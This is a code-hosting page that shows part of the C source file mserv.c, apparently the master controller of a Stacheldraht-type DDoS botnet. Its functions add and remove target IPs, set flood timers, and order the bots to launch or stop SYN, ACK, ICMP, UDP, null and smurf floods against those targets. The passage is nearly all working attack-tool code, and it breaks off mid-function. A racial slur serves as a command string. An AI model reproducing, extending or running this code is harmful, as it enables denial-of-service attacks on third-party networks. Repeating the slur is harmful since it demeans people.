⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mserv.c

📁 攻防自卫 ddos stachel-yps.tar.gz
💻 C
📖 第 1 页 / 共 3 页
字号:
 memset(saveadd,0,sizeof(tempbuffer)); hitcounter=0; while (*(int*)savi2!=0) {  savi2=savi2+4;  hitcounter++;  } savi2=(char*)&sendbuffer; if (hitcounter==1) {  massstop(fd,".mstop all");  return; } ffprintf("deleting from packetlist...\n",fd); counti=0; PARAM=buffer; while (((pointi=strtok(PARAM,":"))!=NULL)) {  PARAM=NULL;  dontadd=0;  savi=pointi;  while (1) {   if (*savi=='\0') break;   if ((*savi==13) || (*savi==10)) {    *savi=0;    break;   }   savi++;  }  if (resolv) hostenti=gethostbyname(pointi);  if (resolv) {   if (!hostenti) {     sprintf(text,"unable to resolve - %s\n",pointi);    ffprintf(text,fd);   }   else {    savi2=(char*)&sendbuffer;    removed=0;    while (*(int*)savi2!=0) {     dontadd=0;     if (*(int*)savi2==*(unsigned long*)hostenti->h_addr) dontadd=1;     if (dontadd==0) {      *(int*)saveadd=*(int*)savi2;      saveadd=saveadd+4;     }     if (dontadd) {      removed=1;      amanda.s_addr=*(unsigned long*)hostenti->h_addr;      sprintf(text,"%s - removed.\n",(char*)inet_ntoa(amanda));      ffprintf(text,fd);     }      savi2=savi2+4;    }    if (removed==0) {     amanda.s_addr=*(unsigned long*)hostenti->h_addr;     sprintf(text,"%s - skipped.\n",(char*)inet_ntoa(amanda));     ffprintf(text,fd);    }   } }  else {   savi2=(char*)&sendbuffer;   while (*(int*)savi2!=0) {    dontadd=0;    if (*(int*)savi2==inet_addr(pointi)) {     dontadd=1;     amanda.s_addr=inet_addr(pointi);    }    if (dontadd==0) {     *(int*)saveadd=*(int*)savi2;     saveadd=saveadd+4;     amanda.s_addr=inet_addr(pointi);    }    if (dontadd) {     amanda.s_addr=*(unsigned long*)hostenti->h_addr;     sprintf(text,"%s - removed.\n",(char*)inet_ntoa(amanda));     ffprintf(text,fd);    }    savi2=savi2+4;   }  }  floodcount++; } *(int*)saveadd=0;  savi2=(char*)&sendbuffer; memcpy(sendbuffer,tempbuffer,sizeof(sendbuffer));  savi2=(char*)&sendit; tempi=htonl(ptimer); *(int*)savi2=tempi; memcpy(savi2+4,sendbuffer,500);  ffprintf("restarting packeting routines...\n",fd); for (roundcounti=0;roundcounti<MAXROUNDS;roundcounti++) {  for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_STOPIT,"niggahbitch",strlen("niggahbitch")); } for (roundcounti=0;roundcounti<MAXROUNDS;roundcounti++) {  if (floodt==SYN) {   for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_SENDSYN,savi2,sizeof(sendbuffer));  }  if (floodt==ICMP) {   for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_ICMP,savi2,sizeof(sendbuffer));  }  if (floodt==UDP) {   for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_SENDUDP,savi2,sizeof(sendbuffer));  } } /* set internal flood variable */ flood=1;}void madd(int fd, char *buffer){ char *PARAM; char *pointi; char *savi; char *savi2; char *saveadd; int floodcount; int counti; int dontadd; struct hostent *hostenti; int tempi; if (strlen(buffer)<=6) {  ffprintf("usage: .madd <ip1:ip2:ip3:ip4>\n",fd);  return; } if (flood==0) {  ffprintf("no packet action at the moment, sir.\n",fd);  return; } counti=0; buffer=buffer+6; while (*buffer==' ') buffer++; savi2=(char*)&sendbuffer; saveadd=(char*)&sendbuffer; while (*(int*)saveadd!=0) saveadd=saveadd+4; ffprintf("adding to packetlist...\n",fd); counti=0; PARAM=buffer; while (((pointi=strtok(PARAM,":"))!=NULL)) {  PARAM=NULL;  dontadd=0;  savi=pointi;  while (1) {   if (*savi=='\0') break;   if ((*savi==13) || (*savi==10)) {    *savi=0;    break;   }   savi++;  }  if (resolv) hostenti=gethostbyname(pointi);  if (resolv) {   if (!hostenti) {    sprintf(text,"unable to resolve - %s\n",pointi);    ffprintf(text,fd);   }    else {    savi2=(char*)&sendbuffer;    while (*(int*)savi2!=0) {     if (*(int*)savi2==*(unsigned long*)hostenti->h_addr) {      dontadd=1;      amanda.s_addr=*(unsigned long*)hostenti->h_addr;      sprintf(text,"%s - skipped.\n",(char*)inet_ntoa(amanda));      ffprintf(text,fd);     }     savi2=savi2+4;    }    if (dontadd==0) {     *(int*)saveadd=*(unsigned long*)hostenti->h_addr;     saveadd=saveadd+4;     amanda.s_addr=*(unsigned long*)hostenti->h_addr;     sprintf(text,"%s - added.\n",(char*)inet_ntoa(amanda));     ffprintf(text,fd);    }   }  }  else {   savi2=(char*)&sendbuffer;   dontadd=0;   *(int*)savi2=inet_addr(pointi);   while (*(int*)savi2!=0) {    if (*(int*)savi2==inet_addr(pointi)) {     dontadd=1;     amanda.s_addr=inet_addr(pointi);     sprintf(text,"%s - skipped.\n",(char*)inet_ntoa(amanda));     ffprintf(text,fd);    }    savi2=savi2+4;   }   if (dontadd==0) {     *(int*)saveadd=inet_addr(pointi);     saveadd=saveadd+4;     amanda.s_addr=inet_addr(pointi);     sprintf(text,"%s - added.\n",(char*)inet_ntoa(amanda));     ffprintf(text,fd);    }  }  floodcount++;  savi2=savi2+4; } *(int*)savi2=0;// savi2=(char*)&sendbuffer; savi2=(char*)&sendit; tempi=htonl(ptimer); *(int*)savi2=tempi; memcpy(savi2+4,sendbuffer,500); ffprintf("restarting packeting routines...\n",fd); for (roundcounti=0;roundcounti<MAXROUNDS;roundcounti++) {  for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_STOPIT,"niggahbitch",strlen("niggahbitch")); }  for (roundcounti=0;roundcounti<MAXROUNDS;roundcounti++) {  if (floodt==SYN) {   for (count=0;count<bcastcount;count++)  send_connect(bcasts[count],ID_SENDSYN,savi2,sizeof(sendbuffer));  }  if (floodt==ICMP) {   for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_ICMP,savi2,sizeof(sendbuffer));  }   if (floodt==UDP) {   for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_SENDUDP,savi2,sizeof(sendbuffer));  } } /* set internal flood variable */ flood=1;}void mtimer(int fd, char *buffer){ char *savi; if (strlen(buffer)<=8) {  ffprintf("usage: .mtimer <seconds to packet>\n",fd);  return; } buffer=buffer+7; while (*buffer==' ') buffer++; savi=buffer; while (1) {  if (*savi=='\0') break;  if ((*savi==13) || (*savi==10)) {   *savi=0;   break;  }  savi++; } ptimer=atoi(buffer); timetorun=ptimer;/* for (roundcounti=0;roundcounti<MAXROUNDS;roundcounti++) {  for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_TIMESET,(char*)&timetorun,4);  printf("%i\n",timetorun);  fflush(stdout); } */ sprintf(text,"packet timer was set to %d seconds\n",atoi(buffer));   ffprintf(text,fd); }void massstop(int fd,char *buffer) { if (strlen(buffer)<=7) {  ffprintf("usage: .mstop <all> or <ip1:ip2:ip3:ip4:ip5 etc..>\n",fd);  return; } endmtime=0; if (strstr(buffer,"all")==NULL) {  mremove(fd,buffer);  return; }  if ((flood==0) && (force!=1)) {  ffprintf("no packet action at the moment, sir.\n",fd);  return; } /* unset the internal flood variable */ flood=0; floodt=0; count=0; for (roundcounti=0;roundcounti<50;roundcounti++) {  for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_STOPIT,"niggahbitch",strlen("niggahbitch")); } ffprintf("packeting stopped.\n",fd);}#ifdef SPECIAL_VERSIONvoid masssmurf(int fd,char *buffer){ char *PARAM; char *pointi; char *savi; char *savi2; int floodcount; int counti; struct hostent *hostenti; int tempi; FILE *sickii; savi2=(char*)&sendbuffer; if (strlen(buffer)<=8) {  ffprintf("usage: .msmurf <ip1:ip2:ip3:ip4:ip5 etc..>\n",fd);  return; } if (flood) {  ffprintf("the net is already packeting.\n",fd);  return;   } floodt=SYN; memset((void*)&sendbuffer,0,sizeof(sendbuffer)); if (ptimer!=0) endmtime=ptimer+time(NULL); while (*buffer!=' ') buffer++; buffer++;  ffprintf("sending nuclear holocaust....",fd); floodcount=0; PARAM=buffer; while (((pointi=strtok(PARAM,":"))!=NULL)) {  PARAM=NULL;  savi=pointi;  while (1) {   if (*savi=='\0') break;   if ((*savi==13) || (*savi==10)) {    *savi=0;    break;   }   savi++;  }  if (resolv) hostenti=gethostbyname(pointi);  if (resolv) {   if (!hostenti) {    sprintf(text,"unable to resolve - %s\n",pointi);    ffprintf(text,fd);   }   else {    *(int*)savi2=*(unsigned long*)hostenti->h_addr;    amanda.s_addr=*(unsigned long*)hostenti->h_addr;   }  }  else {   *(int*)savi2=inet_addr(pointi);  }  floodcount++;  savi2=savi2+4; } *savi2=0; savi2=(char*)&sendit; tempi=htonl(ptimer); *(int*)savi2=tempi; memcpy(savi2+4,sendbuffer,500); sprintf(text,"%i floodrequests were sent to %i bcasts.\n",floodcount,bcastcount); ffprintf(text,fd); for (roundcounti=0;roundcounti<MAXROUNDS;roundcounti++) {  for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_SENDSMURF,savi2,sizeof(sendbuffer)); } /* set internal flood variable */ flood=1;}#endifvoid masssyn(int fd,char *buffer){ char *PARAM; char *pointi; char *savi; char *savi2; int floodcount; int counti; struct hostent *hostenti; int tempi; FILE *sickii; savi2=(char*)&sendbuffer; if (strlen(buffer)<=6) {  ffprintf("usage: .msyn <ip1:ip2:ip3:ip4:ip5 etc..>\n",fd);  return; } if (flood) {  ffprintf("the net is already packeting.\n",fd);  return; } floodt=SYN; memset((void*)&sendbuffer,0,sizeof(sendbuffer)); if (ptimer!=0) endmtime=ptimer+time(NULL); while (*buffer!=' ') buffer++; buffer++; sprintf(text,"mass syn flooding\n"); ffprintf(text,fd); floodcount=0; PARAM=buffer; while (((pointi=strtok(PARAM,":"))!=NULL)) {  PARAM=NULL;  savi=pointi;  while (1) {   if (*savi=='\0') break;   if ((*savi==13) || (*savi==10)) {    *savi=0;    break;   }   savi++;  }  if (resolv) hostenti=gethostbyname(pointi);//  ffprintf("packeting - ",fd);  if (resolv) {   if (!hostenti) {    sprintf(text,"unable to resolve - %s\n",pointi);    ffprintf(text,fd);   }    else {    *(int*)savi2=*(unsigned long*)hostenti->h_addr;    amanda.s_addr=*(unsigned long*)hostenti->h_addr;/*    sprintf(text,"%s\n",(char*)inet_ntoa(amanda));    ffprintf(text,fd); */   }  }  else {/*   sprintf(text,"%s\n",pointi);   ffprintf(text,fd); */   *(int*)savi2=inet_addr(pointi);  }   floodcount++;  savi2=savi2+4; } *savi2=0; savi2=(char*)&sendit; tempi=htonl(ptimer); *(int*)savi2=tempi; memcpy(savi2+4,sendbuffer,500); sprintf(text,"%i floodrequests were sent to %i bcasts.\n",floodcount,bcastcount); ffprintf(text,fd); for (roundcounti=0;roundcounti<MAXROUNDS;roundcounti++) {  for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_SENDSYN,savi2,sizeof(sendbuffer)); } /* set internal flood variable */ flood=1;}void massack(int fd,char *buffer){ char *PARAM; char *pointi; char *savi; char *savi2; int floodcount; int counti; struct hostent *hostenti; int tempi; FILE *sickii; savi2=(char*)&sendbuffer; if (strlen(buffer)<=6) {  ffprintf("usage: .mack <ip1:ip2:ip3:ip4:ip5 etc..>\n",fd);  return; } if (flood) {  ffprintf("the net is already packeting.\n",fd);  return; } floodt=SYN; memset((void*)&sendbuffer,0,sizeof(sendbuffer)); if (ptimer!=0) endmtime=ptimer+time(NULL); while (*buffer!=' ') buffer++; buffer++; sprintf(text,"mass ack flooding\n"); ffprintf(text,fd); floodcount=0; PARAM=buffer; while (((pointi=strtok(PARAM,":"))!=NULL)) {  PARAM=NULL;  savi=pointi;  while (1) {   if (*savi=='\0') break;   if ((*savi==13) || (*savi==10)) {    *savi=0;    break;   }   savi++;  }  if (resolv) hostenti=gethostbyname(pointi);//  ffprintf("packeting - ",fd);  if (resolv) {   if (!hostenti) {    sprintf(text,"unable to resolve - %s\n",pointi);    ffprintf(text,fd);   }    else {    *(int*)savi2=*(unsigned long*)hostenti->h_addr;    amanda.s_addr=*(unsigned long*)hostenti->h_addr;/*    sprintf(text,"%s\n",(char*)inet_ntoa(amanda));    ffprintf(text,fd); */   }  }  else {/*   sprintf(text,"%s\n",pointi);   ffprintf(text,fd); */   *(int*)savi2=inet_addr(pointi);  }   floodcount++;  savi2=savi2+4; } *savi2=0; savi2=(char*)&sendit; tempi=htonl(ptimer); *(int*)savi2=tempi; memcpy(savi2+4,sendbuffer,500); sprintf(text,"%i floodrequests were sent to %i bcasts.\n",floodcount,bcastcount); ffprintf(text,fd); for (roundcounti=0;roundcounti<MAXROUNDS;roundcounti++) {  for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_SENDACK,savi2,sizeof(sendbuffer)); } /* set internal flood variable */ flood=1;}void massnul(int fd,char *buffer){ char *PARAM; char *pointi; char *savi; char *savi2; int floodcount; int counti; struct hostent *hostenti; int tempi; FILE *sickii; savi2=(char*)&sendbuffer; if (strlen(buffer)<=6) {  ffprintf("usage: .mnul <ip1:ip2:ip3:ip4:ip5 etc..>\n",fd);  return; } if (flood) {  ffprintf("the net is already packeting.\n",fd);  return; } floodt=SYN; memset((void*)&sendbuffer,0,sizeof(sendbuffer)); if (ptimer!=0) endmtime=ptimer+time(NULL); while (*buffer!=' ') buffer++; buffer++; sprintf(text,"mass nul flooding\n"); ffprintf(text,fd); floodcount=0; PARAM=buffer; while (((pointi=strtok(PARAM,":"))!=NULL)) {  PARAM=NULL;  savi=pointi;  while (1) {   if (*savi=='\0') break;   if ((*savi==13) || (*savi==10)) {    *savi=0;    break;   }   savi++;  }  if (resolv) hostenti=gethostbyname(pointi);//  ffprintf("packeting - ",fd);  if (resolv) {   if (!hostenti) {    sprintf(text,"unable to resolve - %s\n",pointi);    ffprintf(text,fd);   }    else {    *(int*)savi2=*(unsigned long*)hostenti->h_addr;    amanda.s_addr=*(unsigned long*)hostenti->h_addr;/*    sprintf(text,"%s\n",(char*)inet_ntoa(amanda));    ffprintf(text,fd); */   }  }  else {/*   sprintf(text,"%s\n",pointi);   ffprintf(text,fd); */   *(int*)savi2=inet_addr(pointi);  }   floodcount++;  savi2=savi2+4; } *savi2=0; savi2=(char*)&sendit; tempi=htonl(ptimer); *(int*)savi2=tempi; memcpy(savi2+4,sendbuffer,500); sprintf(text,"%i floodrequests were sent to %i bcasts.\n",floodcount,bcastcount); ffprintf(text,fd); for (roundcounti=0;roundcounti<MAXROUNDS;roundcounti++) {  for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_SENDNUL,savi2,sizeof(sendbuffer)); } /* set internal flood variable */ flood=1;}void massicmp(int fd,char *buffer){ char *PARAM; char *pointi; char *savi; char *savi2; int floodcount; int counti; struct hostent *hostenti; int tempi;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -